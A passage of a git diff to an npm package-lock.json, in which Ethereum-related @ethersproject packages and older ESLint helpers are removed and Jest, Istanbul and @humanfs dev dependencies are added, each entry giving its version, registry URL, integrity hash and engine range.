"sha512-JUOtgFW6k9u4Y+xeIaEiLr3+cjoUPiAuLXoyKOJSia6Duzb7pq+A76P9ZdPDoAoxHdHzq6gE9/jKBGXlZT8FbA==", + "engines": { + "node": ">=6" } }, - "node_modules/@ethersproject/abstract-signer": { - "version": "5.6.2", - "resolved": "https://registry.npmjs.org/@ethersproject/abstract-signer/-/abstract-signer-5.6.2.tgz", - "integrity": "sha512-n1r6lttFBG0t2vNiI3HoWaS/KdOt8xyDjzlP2cuevlWLG6EX0OwcKLyG/Kp/cuwNxdy/ous+R/DEMdTUwWQIjQ==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], - "dependencies": { - "@ethersproject/abstract-provider": "^5.6.1", - "@ethersproject/bignumber": "^5.6.2", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/properties": "^5.6.0" + "node_modules/@humanfs/core": { + "version": "0.19.1", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", + "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" } }, - "node_modules/@ethersproject/address": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/address/-/address-5.6.1.tgz", - "integrity": "sha512-uOgF0kS5MJv9ZvCz7x6T2EXJSzotiybApn4XlOgoTX0xdtyVIJ7pF+6cGPxiEq/dpBiTfMiw7Yc81JcwhSYA0Q==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], + "node_modules/@humanfs/node": { + "version": "0.16.6", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.6.tgz", + "integrity": "sha512-YuI2ZHQL78Q5HbhDiBA1X4LmYdXCKCMQIfw0pw7piHJwyREFebJUvrQN4cMssyES6x+vfUbx1CIpaQUKYdQZOw==", + "dev": true, + "license": "Apache-2.0", "dependencies": { - "@ethersproject/bignumber": "^5.6.2", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/keccak256": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/rlp": "^5.6.1" + "@humanfs/core": "^0.19.1", + "@humanwhocodes/retry": "^0.3.0" + }, + "engines": { + "node": ">=18.18.0" } }, - "node_modules/@ethersproject/base64": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/base64/-/base64-5.6.1.tgz", - "integrity": "sha512-qB76rjop6a0RIYYMiB4Eh/8n+Hxu2NIZm8S/Q7kNo5pmZfXhHGHmS4MinUainiBC54SCyRnwzL+KZjj8zbsSsw==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], - "dependencies": { - "@ethersproject/bytes": "^5.6.1" + "node_modules/@humanfs/node/node_modules/@humanwhocodes/retry": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.3.1.tgz", + "integrity": "sha512-JBxkERygn7Bv/GbN5Rv8Ul6LVknS+5Bp6RgDC/O8gEBU/yeH5Ui5C/OlWrTb6qct7LjjfT6Re2NxB0ln0yYybA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" } }, - "node_modules/@ethersproject/bignumber": { - "version": "5.6.2", - "resolved": "https://registry.npmjs.org/@ethersproject/bignumber/-/bignumber-5.6.2.tgz", - "integrity": "sha512-v7+EEUbhGqT3XJ9LMPsKvXYHFc8eHxTowFCG/HgJErmq4XHJ2WR7aeyICg3uTOAQ7Icn0GFHAohXEhxQHq4Ubw==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], - "dependencies": { - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "bn.js": "^5.2.1" + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" } }, - "node_modules/@ethersproject/bytes": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/bytes/-/bytes-5.6.1.tgz", - "integrity": "sha512-NwQt7cKn5+ZE4uDn+X5RAXLp46E1chXoaMmrxAyA0rblpxz8t58lVkrHXoRIn0lz1joQElQ8410GqhTqMOwc6g==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], - "dependencies": { - "@ethersproject/logger": "^5.6.0" + "node_modules/@humanwhocodes/retry": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.2.tgz", + "integrity": "sha512-xeO57FpIu4p1Ri3Jq/EXq4ClRm86dVF2z/+kvFnyqVYRavTZmaFaUBbWCOuuTh0o/g7DSsk6kc2vrS4Vl5oPOQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" } }, - "node_modules/@ethersproject/constants": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/constants/-/constants-5.6.1.tgz", - "integrity": "sha512-QSq9WVnZbxXYFftrjSjZDUshp6/eKp6qrtdBtUCm0QxCV5z1fG/w3kdlcsjMCQuQHUnAclKoK7XpXMezhRDOLg==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], + "node_modules/@istanbuljs/load-nyc-config": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", + "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==", + "dev": true, "dependencies": { - "@ethersproject/bignumber": "^5.6.2" + "camelcase": "^5.3.1", + "find-up": "^4.1.0", + "get-package-type": "^0.1.0", + "js-yaml": "^3.13.1", + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" } }, - "node_modules/@ethersproject/hash": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/hash/-/hash-5.6.1.tgz", - "integrity": "sha512-L1xAHurbaxG8VVul4ankNX5HgQ8PNCTrnVXEiFnE9xoRnaUcgfD12tZINtDinSllxPLCtGwguQxJ5E6keE84pA==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], - "dependencies": { - "@ethersproject/abstract-signer": "^5.6.2", - "@ethersproject/address": "^5.6.1", - "@ethersproject/bignumber": "^5.6.2", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/keccak256": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/properties": "^5.6.0", - "@ethersproject/strings": "^5.6.1" + "node_modules/@istanbuljs/load-nyc-config/node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "engines": { + "node": ">=8" } }, - "node_modules/@ethersproject/keccak256": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/keccak256/-/keccak256-5.6.1.tgz", - "integrity": "sha512-bB7DQHCTRDooZZdL3lk9wpL0+XuG3XLGHLh3cePnybsO3V0rdCAOQGpn/0R3aODmnTOOkCATJiD2hnL+5bwthA==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], - "dependencies": { - "@ethersproject/bytes": "^5.6.1", - "js-sha3": "0.8.0" + "node_modules/@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "dev": true, + "engines": { + "node": ">=8" } }, - "node_modules/@ethersproject/logger": { - "version": "5.6.0", - "resolved": "https://registry.npmjs.org/@ethersproject/logger/-/logger-5.6.0.tgz", - "integrity": "sha512-BiBWllUROH9w+P21RzoxJKzqoqpkyM1pRnEKG69bulE9TSQD8SAIvTQqIMZmmCO8pUNkgLP1wndX1gKghSpBmg==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ] - }, - "node_modules/@ethersproject/networks": { - "version": "5.6.4", - "resolved": "https://registry.npmjs.org/@ethersproject/networks/-/networks-5.6.4.tgz", - "integrity": "sha512-KShHeHPahHI2UlWdtDMn2lJETcbtaJge4k7XSjDR9h79QTd6yQJmv6Cp2ZA4JdqWnhszAOLSuJEd9C0PRw7hSQ==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], + "node_modules/@jest/console": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-29.7.0.tgz", + "integrity": "sha512-5Ni4CU7XHQi32IJ398EEP4RrB8eV09sXP2ROqD4bksHrnTree52PsxvX8tpL8LvTZ3pFzXyPbNQReSN41CAhOg==", + "dev": true, "dependencies": { - "@ethersproject/logger": "^5.6.0" + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "jest-message-util": "^29.7.0", + "jest-util": "^29.7.0", + "slash": "^3.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/@ethersproject/properties": { - "version": "5.6.0", - "resolved": "https://registry.npmjs.org/@ethersproject/properties/-/properties-5.6.0.tgz", - "integrity": "sha512-szoOkHskajKePTJSZ46uHUWWkbv7TzP2ypdEK6jGMqJaEt2sb0jCgfBo0gH0m2HBpRixMuJ6TBRaQCF7a9DoCg==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], + "node_modules/@jest/core": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/core/-/core-29.7.0.tgz", + "integrity": "sha512-n7aeXWKMnGtDA48y8TLWJPJmLmmZ642Ceo78cYWEpiD7FzDgmNDV/GCVRorPABdXLJZ/9wzzgZAlHjXjxDHGsg==", + "dev": true, "dependencies": { - "@ethersproject/logger": "^5.6.0" + "@jest/console": "^29.7.0", + "@jest/reporters": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "jest-changed-files": "^29.7.0", + "jest-config": "^29.7.0", + "jest-haste-map": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-regex-util": "^29.6.3", + "jest-resolve": "^29.7.0", + "jest-resolve-dependencies": "^29.7.0", + "jest-runner": "^29.7.0", + "jest-runtime": "^29.7.0", + "jest-snapshot": "^29.7.0", + "jest-util": "^29.7.0", + "jest-validate": "^29.7.0", + "jest-watcher": "^29.7.0", + "micromatch": "^4.0.4", + "pretty-format": "^29.7.0", + "slash": "^3.0.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } } }, - "node_modules/@ethersproject/rlp": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/rlp/-/rlp-5.6.1.tgz", - "integrity": "sha512-uYjmcZx+DKlFUk7a5/W9aQVaoEC7+1MOBgNtvNg13+RnuUwT4F0zTovC0tmay5SmRslb29V1B7Y5KCri46WhuQ==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], + "node_modules/@jest/environment": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.7.0.tgz", + "integrity": "sha512-aQIfHDq33ExsN4jP1NWGXhxgQ/wixs60gDiKO+XVMd8Mn0NWPWgc34ZQDTb2jKaUWQ7MuwoitXAsN2XVXNMpAw==", + "dev": true, "dependencies": { - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/logger": "^5.6.0" + "@jest/fake-timers": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "jest-mock": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/@ethersproject/signing-key": { - "version": "5.6.2", - "resolved": "https://registry.npmjs.org/@ethersproject/signing-key/-/signing-key-5.6.2.tgz", - "integrity": "sha512-jVbu0RuP7EFpw82vHcL+GP35+KaNruVAZM90GxgQnGqB6crhBqW/ozBfFvdeImtmb4qPko0uxXjn8l9jpn0cwQ==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], + "node_modules/@jest/environment-jsdom-abstract": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/environment-jsdom-abstract/-/environment-jsdom-abstract-30.0.5.tgz", + "integrity": "sha512-gpWwiVxZunkoglP8DCnT3As9x5O8H6gveAOpvaJd2ATAoSh7ZSSCWbr9LQtUMvr8WD3VjG9YnDhsmkCK5WN1rQ==", + "dev": true, + "license": "MIT", "dependencies": { - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/properties": "^5.6.0", - "bn.js": "^5.2.1", - "elliptic": "6.5.4", - "hash.js": "1.1.7" + "@jest/environment": "30.0.5", + "@jest/fake-timers": "30.0.5", + "@jest/types": "30.0.5", + "@types/jsdom": "^21.1.7", + "@types/node": "*", + "jest-mock": "30.0.5", + "jest-util": "30.0.5" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "peerDependencies": { + "canvas": "^3.0.0", + "jsdom": "*" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } } }, - "node_modules/@ethersproject/strings": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/strings/-/strings-5.6.1.tgz", - "integrity": "sha512-2X1Lgk6Jyfg26MUnsHiT456U9ijxKUybz8IM1Vih+NJxYtXhmvKBcHOmvGqpFSVJ0nQ4ZCoIViR8XlRw1v/+Cw==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], + "node_modules/@jest/environment-jsdom-abstract/node_modules/@jest/environment": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.0.5.tgz", + "integrity": "sha512-aRX7WoaWx1oaOkDQvCWImVQ8XNtdv5sEWgk4gxR6NXb7WBUnL5sRak4WRzIQRZ1VTWPvV4VI4mgGjNL9TeKMYA==", + "dev": true, + "license": "MIT", "dependencies": { - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/constants": "^5.6.1", - "@ethersproject/logger": "^5.6.0" + "@jest/fake-timers": "30.0.5", + "@jest/types": "30.0.5", + "@types/node": "*", + "jest-mock": "30.0.5" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@ethersproject/transactions": { - "version": "5.6.2", - "resolved": "https://registry.npmjs.org/@ethersproject/transactions/-/transactions-5.6.2.tgz", - "integrity": "sha512-BuV63IRPHmJvthNkkt9G70Ullx6AcM+SDc+a8Aw/8Yew6YwT51TcBKEp1P4oOQ/bP25I18JJr7rcFRgFtU9B2Q==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], + "node_modules/@jest/environment-jsdom-abstract/node_modules/@jest/fake-timers": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.0.5.tgz", + "integrity": "sha512-ZO5DHfNV+kgEAeP3gK3XlpJLL4U3Sz6ebl/n68Uwt64qFFs5bv4bfEEjyRGK5uM0C90ewooNgFuKMdkbEoMEXw==", + "dev": true, + "license": "MIT", "dependencies": { - "@ethersproject/address": "^5.6.1", - "@ethersproject/bignumber": "^5.6.2", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/constants": "^5.6.1", - "@ethersproject/keccak256": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/properties": "^5.6.0", - "@ethersproject/rlp": "^5.6.1", - "@ethersproject/signing-key": "^5.6.2" - } - }, - "node_modules/@ethersproject/web": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/web/-/web-5.6.1.tgz", - "integrity": "sha512-/vSyzaQlNXkO1WV+RneYKqCJwualcUdx/Z3gseVovZP0wIlOFcCE1hkRhKBH8ImKbGQbMl9EAAyJFrJu7V0aqA==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], + "@jest/types": "30.0.5", + "@sinonjs/fake-timers": "^13.0.0", + "@types/node": "*", + "jest-message-util": "30.0.5", + "jest-mock": "30.0.5", + "jest-util": "30.0.5" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@jest/environment-jsdom-abstract/node_modules/@jest/schemas": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz", + "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==", + "dev": true, + "license": "MIT", "dependencies": { - "@ethersproject/base64": "^5.6.1", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/properties": "^5.6.0", - "@ethersproject/strings": "^5.6.1" + "@sinclair/typebox": "^0.34.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@fortawesome/fontawesome-free": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-free/-/fontawesome-free-6.2.0.tgz", - "integrity": "sha512-CNR7qRIfCwWHNN7FnKUniva94edPdyQzil/zCwk3v6k4R6rR2Fr8i4s3PM7n/lyfPA6Zfko9z5WDzFxG9SW1uQ==", - "hasInstallScript": true, + "node_modules/@jest/environment-jsdom-abstract/node_modules/@jest/types": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.0.5.tgz", + "integrity": "sha512-aREYa3aku9SSnea4aX6bhKn4bgv3AXkgijoQgbYV3yvbiGt6z+MQ85+6mIhx9DsKW2BuB/cLR/A+tcMThx+KLQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/pattern": "30.0.1", + "@jest/schemas": "30.0.5", + "@types/istanbul-lib-coverage": "^2.0.6", + "@types/istanbul-reports": "^3.0.4", + "@types/node": "*", + "@types/yargs": "^17.0.33", + "chalk": "^4.1.2" + }, "engines": { - "node": ">=6" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@gar/promisify": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.2.tgz", - "integrity": "sha512-82cpyJyKRoQoRi+14ibCeGPu0CwypgtBAdBhq1WfvagpCZNKqwXbKwXllYSMG91DhmG4jt9gN8eP6lGOtozuaw==", + "node_modules/@jest/environment-jsdom-abstract/node_modules/@sinclair/typebox": { + "version": "0.34.38", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.38.tgz", + "integrity": "sha512-HpkxMmc2XmZKhvaKIZZThlHmx1L0I/V1hWK1NubtlFnr6ZqdiOpV72TKudZUNQjZNsyDBay72qFEhEvb+bcwcA==", "dev": true, - "optional": true, - "peer": true + "license": "MIT" }, - "node_modules/@humanwhocodes/config-array": { - "version": "0.10.4", - "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.10.4.tgz", - "integrity": "sha512-mXAIHxZT3Vcpg83opl1wGlVZ9xydbfZO3r5YfRSH6Gpp2J/PfdBP0wbDa2sO6/qRbcalpoevVyW6A/fI6LfeMw==", + "node_modules/@jest/environment-jsdom-abstract/node_modules/@sinonjs/commons": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", + "integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==", "dev": true, + "license": "BSD-3-Clause", "dependencies": { - "@humanwhocodes/object-schema": "^1.2.1", - "debug": "^4.1.1", - "minimatch": "^3.0.4" - }, - "engines": { - "node": ">=10.10.0" + "type-detect": "4.0.8" } }, - "node_modules/@humanwhocodes/gitignore-to-minimatch": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@humanwhocodes/gitignore-to-minimatch/-/gitignore-to-minimatch-1.0.2.tgz", - "integrity": "sha512-rSqmMJDdLFUsyxR6FMtD00nfQKKLFb1kv+qBbOVKqErvloEIJLo5bDTJTQNTYgeyp78JsA7u/NPi5jT1GR/MuA==", + "node_modules/@jest/environment-jsdom-abstract/node_modules/@sinonjs/fake-timers": { + "version": "13.0.5", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz", + "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==", "dev": true, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" + "license": "BSD-3-Clause", + "dependencies": { + "@sinonjs/commons": "^3.0.1" } }, - "node_modules/@humanwhocodes/module-importer": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", - "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "node_modules/@jest/environment-jsdom-abstract/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", "dev": true, + "license": "MIT", "engines": { - "node": ">=12.22" + "node": ">=10" }, "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" + "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, - "node_modules/@humanwhocodes/object-schema": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", - "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==", - "dev": true - }, - "node_modules/@istanbuljs/load-nyc-config": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", - "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==", + "node_modules/@jest/environment-jsdom-abstract/node_modules/ci-info": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.3.0.tgz", + "integrity": "sha512-l+2bNRMiQgcfILUi33labAZYIWlH1kWDp+ecNo5iisRKrbm0xcRyCww71/YU0Fkw0mAFpz9bJayXPjey6vkmaQ==", "dev": true, - "dependencies": { - "camelcase": "^5.3.1", - "find-up": "^4.1.0", - "get-package-type": "^0.1.0", - "js-yaml": "^3.13.1", - "resolve-from": "^5.0.0" - }, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", "engines": { "node": ">=8" } }, - "node_modules/@istanbuljs/load-nyc-config/node_modules/find-up": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "node_modules/@jest/environment-jsdom-abstract/node_modules/jest-message-util": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.0.5.tgz", + "integrity": "sha512-NAiDOhsK3V7RU0Aa/HnrQo+E4JlbarbmI3q6Pi4KcxicdtjV82gcIUrejOtczChtVQR4kddu1E1EJlW6EN9IyA==", "dev": true, + "license": "MIT", "dependencies": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" + "@babel/code-frame": "^7.27.1", + "@jest/types": "30.0.5", + "@types/stack-utils": "^2.0.3", + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "micromatch": "^4.0.8", + "pretty-format": "30.0.5", + "slash": "^3.0.0", + "stack-utils": "^2.0.6" }, "engines": { - "node": ">=8" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@istanbuljs/load-nyc-config/node_modules/locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "node_modules/@jest/environment-jsdom-abstract/node_modules/jest-mock": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.0.5.tgz", + "integrity": "sha512-Od7TyasAAQX/6S+QCbN6vZoWOMwlTtzzGuxJku1GhGanAjz9y+QsQkpScDmETvdc9aSXyJ/Op4rhpMYBWW91wQ==", "dev": true, + "license": "MIT", "dependencies": { - "p-locate": "^4.1.0" + "@jest/types": "30.0.5", + "@types/node": "*", + "jest-util": "30.0.5" }, "engines": { - "node": ">=8" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@istanbuljs/load-nyc-config/node_modules/p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "node_modules/@jest/environment-jsdom-abstract/node_modules/jest-util": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.0.5.tgz", + "integrity": "sha512-pvyPWssDZR0FlfMxCBoc0tvM8iUEskaRFALUtGQYzVEAqisAztmy+R8LnU14KT4XA0H/a5HMVTXat1jLne010g==", "dev": true, + "license": "MIT", "dependencies": { - "p-try": "^2.0.0" + "@jest/types": "30.0.5", + "@types/node": "*", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "graceful-fs": "^4.2.11", + "picomatch": "^4.0.2" }, "engines": { - "node": ">=6" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || 